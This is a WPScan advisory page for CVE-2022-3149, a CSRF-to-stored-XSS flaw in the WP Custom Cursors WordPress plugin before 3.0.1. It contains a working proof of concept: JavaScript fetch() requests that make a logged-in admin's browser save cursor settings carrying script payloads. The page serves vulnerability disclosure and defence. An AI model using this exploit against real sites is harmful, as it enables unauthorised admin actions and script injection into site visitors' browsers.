WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WP Custom Cursors < 3.0.1 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check in place when creating and editing cursors, which could allow attackers to made a logged in admin perform such actions via CSRF attacks. Furthermore, due to the lack of sanitisation and escaping in some of the cursor options, it could also lead to Stored Cross-Site Scripting

Proof of Concept

Make a logged in admin open a page with the below JS code in it

// To add a cursor with XSS payloads in it:
fetch("https://example.com/wp-admin/admin.php?page=wpcc_add_new", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'cursor_shape=1&cursor_type=text&cursor_image=&click_point=50%2C50&cursor_text=<script>alert(/XSS-text/)>&color=<script>alert(/XSS-color/)>&width=30&blending_mode=normal&hide_tablet=on&hide_mobile=on&hover_cursor_type=1&hover_cursors=&activate_on=0&selector_type=tag&selector_data=&submit=Save+Cursor',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

// To edit the cursor with ID 1 and set XSS payloads in it:
fetch("https://example.com/wp-admin/admin.php?page=wpcc_add_new&edit_row=1", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'cursor_shape=1&cursor_type=text&cursor_image=&click_point=50%2C50&cursor_text=<script>alert(/XSS-text/)>&color=<script>alert(/XSS-color/)>&width=30&blending_mode=normal&hide_tablet=on&hide_mobile=on&hover_cursor_type=1&hover_cursors=&activate_on=0&selector_type=tag&selector_data=&update_id=1&update=Update+Cursor',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered when viewing the cursor list as well as when editing it
 

Affects Plugins

wp-custom-cursors
Fixed in version 3.0.1

References

CVE
CVE-2022-3149

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Lana Codes

Submitter

Lana Codes

Submitter website
https://lana.codes/
Submitter twitter
LanaCodes
Verified

Yes

WPVDB ID
4c13a93d-2100-4721-8937-a1205378655f

Timeline

Publicly Published

2022-09-21 (about 8 months ago)

Added

2022-09-21 (about 8 months ago)

Last Updated

2022-10-04 (about 7 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us